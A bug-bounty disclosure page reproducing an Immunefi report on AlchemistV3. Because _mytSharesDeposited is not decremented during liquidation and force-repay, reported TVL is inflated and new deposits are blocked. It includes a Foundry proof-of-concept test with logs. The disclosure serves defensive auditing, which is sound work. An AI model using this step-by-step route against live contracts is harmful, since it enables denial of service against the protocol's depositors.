Skip to content
Business logic Audit finding Intermediate

Missing _mytSharesDeposited Decrements in Internal Outflows cause TVL Inflation & Deposit DoS

The AlchemistV3 contract fails to decrement its internal _mytSharesDeposited counter when MYT tokens leave the contract during force-repay and liquidation, so the recorded total stays higher than the real balance. This inflates the reported TVL and makes the deposit cap check reject new deposits even when the actual balance is below the cap.

ihtishamsudo Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

56815 sc high missing mytsharesdeposited decrements in internal outflows cause tvl inflation deposit dos

Submitted on Oct 20th 2025 at 21:37:36 UTC by @ihtishamsudo for Audit Comp | Alchemix V3

Description

Brief/Intro

Alchemist V3 broken internal accounting fails to decrement _mytSharesDeposited when MYT (yield token) is transferred out during force-repay and liquidation operations. it causes the (TVL) calculation to become inflated relative to the actual MYT balance held by the contract (demonstrated in poc below)

Vulnerability Details

The AlchemistV3 contract maintains a private state variable _mytSharesDeposited to track the total MYT shares deposited into the protocol. This value is used in two functions:

  1. _getTotalUnderlyingValue() - Converts _mytSharesDeposited to underlying value for TVL calculations
  2. deposit() - Enforces the deposit cap: _checkState(_mytSharesDeposited + amount <= depositCap)

_mytSharesDeposited is correctly incremented on deposits and correctly decremented on user-initiated withdrawals, repayments with fees, and redemptions. However, it is nott decremented during internal MYT outflows in two paths:

Solidity
function _forceRepay(uint256 id) internal {
    // ... calculations ...
    
    // Transfer MYT to transmuter
    SafeERC20.safeTransfer(myt, transmuter, creditToYield);
    
    // Transfer protocol fee to fee receiver
    SafeERC20.safeTransfer(myt, protocolFeeReceiver, protocolFeeTotal);
    
    // ❌ Missing: _mytSharesDeposited decrement
    
    // ... rest of function ...
}
Solidity
function _doLiquidation(
    uint256 id,
    uint256 amountLiquidated,
    uint256 debtToBurn,
    uint256 feeInYield,
    uint256 feeInUnderlying
) internal returns (uint256, uint256, uint256) {
    // ... calculations ...
    
    // Transfer liquidated amount to transmuter
    uint256 amountToTransmuter = amountLiquidated - feeInYield;
    SafeERC20.safeTransfer(myt, transmuter, amountToTransmuter);
    
    // Transfer fee to liquidator (if fee in yield)
    if (feeInYield > 0) {
        SafeERC20.safeTransfer(myt, msg.sender, feeInYield);
    }
    
    // ❌ Missing: _mytSharesDeposited decrement
    
    // ... rest of function ...
}

Impact Details

Since the deposit() function enforces a cap check using the inflated _mytSharesDeposited value, legitimate users are permanently blocked from depositing once the discrepancy grows large enough, even when the actual token balance is well below the configured depositCap.

References

https://github.com/alchemix-finance/v3-poc/blob/b2e2aba046c36ff5e1db6f40f399e93cd2bdaad0/src/AlchemistV3.sol#L738 https://github.com/alchemix-finance/v3-poc/blob/b2e2aba046c36ff5e1db6f40f399e93cd2bdaad0/src/AlchemistV3.sol#L852

Proof of Concept

Proof of Concept

Here's what i cooked:

Solidity
 /// PoC: Internal MYT outflows in liquidation don't decrement _mytSharesDeposited
    /// This inflates TVL (getTotalUnderlyingValue) and falsely DoSes new deposits via depositCap check
    function test_PoC_DepositCap_DoS_After_Liquidation() external {
        console.log("=== PoC: DepositCap DoS after liquidation ===");
        // 1) User deposits MYT into Alchemist, minting a new position
        uint256 depositAmt = minimumDeposit; // use existing test constant (1,000e18)
        console.log("[setup] externalUser depositing: ", depositAmt);
        vm.startPrank(externalUser);
        SafeERC20.safeApprove(address(vault), address(alchemist), type(uint256).max);
        alchemist.deposit(depositAmt, externalUser, 0);
        vm.stopPrank();

        // Get the newly minted NFT tokenId owned by externalUser
        uint256 tokenId;
        for (uint256 id = 1; id <= 10; id++) {
            try IERC721(address(alchemistNFT)).ownerOf(id) returns (address owner) {
                if (owner == externalUser) { tokenId = id; break; }
            } catch {}
        }
        assertGt(tokenId, 0, "tokenId not found for externalUser");
        console.log("[info] position tokenId: ", tokenId);

        // Record current MYT balance held by Alchemist and set depositCap to this balance
        uint256 balBefore = IERC20(address(vault)).balanceOf(address(alchemist));
        console.log("[state] alchemist MYT balance before: ", balBefore);
        vm.prank(alOwner);
        alchemist.setDepositCap(balBefore);
        console.log("[config] depositCap set to: ", alchemist.depositCap());

    // 2) Borrow maximum to sit at the minimum collateralization boundary
    uint256 maxBorrow = alchemist.getMaxBorrowable(tokenId);
    vm.prank(externalUser);
    alchemist.mint(tokenId, maxBorrow, externalUser);
        console.log("[action] minted debt (maxBorrowable): ", maxBorrow);

        // Manipulate yield token price down so the position becomes liquidatable
    _manipulateYieldTokenPrice(590); // similar drop used in other liquidation tests (~5.9%)
    console.log("[manipulation] applied MYT price drop (bps): ", uint256(590));

        // 3) Liquidate: this transfers MYT from the contract to transmuter/liquidator
        vm.prank(someWhale);
        (uint256 liquidated, uint256 feeInYield, ) = alchemist.liquidate(tokenId);
        assertGt(liquidated, 0, "expected liquidation to move tokens");
        console.log("[liquidation] liquidated shares (yield): ", liquidated);
        console.log("[liquidation] fee paid in yield shares: ", feeInYield);

        // Contract's actual MYT balance decreased after liquidation
        uint256 balAfter = IERC20(address(vault)).balanceOf(address(alchemist));
        assertLt(balAfter, balBefore, "MYT balance should decrease after liquidation");
        console.log("[state] alchemist MYT balance after: ", balAfter);

        // 4) TVL is inflated because _mytSharesDeposited wasn't decremented by outflows
        uint256 tvlUnderlying = alchemist.getTotalUnderlyingValue();
        uint256 actualUnderlying = IVaultV2(address(vault)).convertToAssets(balAfter);
        assertGt(tvlUnderlying, actualUnderlying, "TVL inflated due to missing _mytSharesDeposited decrement");
        console.log("[check] tvlUnderlying (from _mytSharesDeposited): ", tvlUnderlying);
        console.log("[check] actualUnderlying (from MYT balance): ", actualUnderlying);

        // 5) False deposit-cap DoS: even a 1 wei deposit reverts since the cap check uses inflated _mytSharesDeposited
        vm.startPrank(externalUser);
        SafeERC20.safeApprove(address(vault), address(alchemist), 1);
        console.log("[expect] next deposit of 1 wei should revert due to inflated TVL vs depositCap");
        vm.expectRevert(IllegalState.selector); // _checkState(_mytSharesDeposited + amount <= depositCap)
        alchemist.deposit(1, externalUser, 0);
        vm.stopPrank();
    }
  • Test Logs
Bash
Ran 1 test for src/test/AlchemistV3.t.sol:AlchemistV3Test
[PASS] test_PoC_DepositCap_DoS_After_Liquidation() (gas: 1121814)
Logs:
  === PoC: DepositCap DoS after liquidation ===
  [setup] externalUser depositing:  1000000000000000000000
  [info] position tokenId:  1
  [state] alchemist MYT balance before:  1000000000000000000000
  [config] depositCap set to:  1000000000000000000000
  [action] minted debt (maxBorrowable):  900000000000000000090
  [manipulation] applied MYT price drop (bps):  590
  [liquidation] liquidated shares (yield):  953100000000000001008
  [liquidation] fee paid in yield shares:  0
  [state] alchemist MYT balance after:  46899999999999998992
  [check] tvlUnderlying (from _mytSharesDeposited):  944287063267233238000
  [check] actualUnderlying (from MYT balance):  44287063267233237910
  [expect] next deposit of 1 wei should revert due to inflated TVL vs depositCap

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.91ms (2.82ms CPU time)

Ran 1 test suite in 18.79ms (15.91ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

The original report as published on Immunefi, by ihtishamsudo. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the internal accounting variable _mytSharesDeposited is not decremented in the _forceRepay and _doLiquidation functions when MYT is transferred out.

Impact

The inflated _mytSharesDeposited causes the reported TVL to be higher than the actual underlying value and can permanently block legitimate deposits once the discrepancy exceeds the deposit cap.

What the attacker needed

A position that can be liquidated or force-repaid; yield token price can be manipulated downward; deposit cap set near current balance

How it was found

  1. A user deposits MYT into the Alchemist contract, creating a position.
  2. The deposit cap is set to the contract's current MYT balance.
  3. The user borrows the maximum amount allowed against the position.
  4. The yield token price is manipulated downward so the position becomes liquidatable.
  5. A liquidator liquidates the position, which transfers MYT out of the contract.
  6. A subsequent tiny deposit reverts because the deposit cap check uses the inflated _mytSharesDeposited value.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The contract keeps its own tally of how many yield tokens it holds, separate from the real token balance. When tokens are sent out during liquidation or forced repayment, that tally is not reduced, so the contract thinks it has more than it does. Because new deposits are checked against this inflated tally, users can be blocked from depositing even though there is room under the cap.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by ihtishamsudo

View all

8 more disclosed reports, best first.

More from Alchemix V3

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.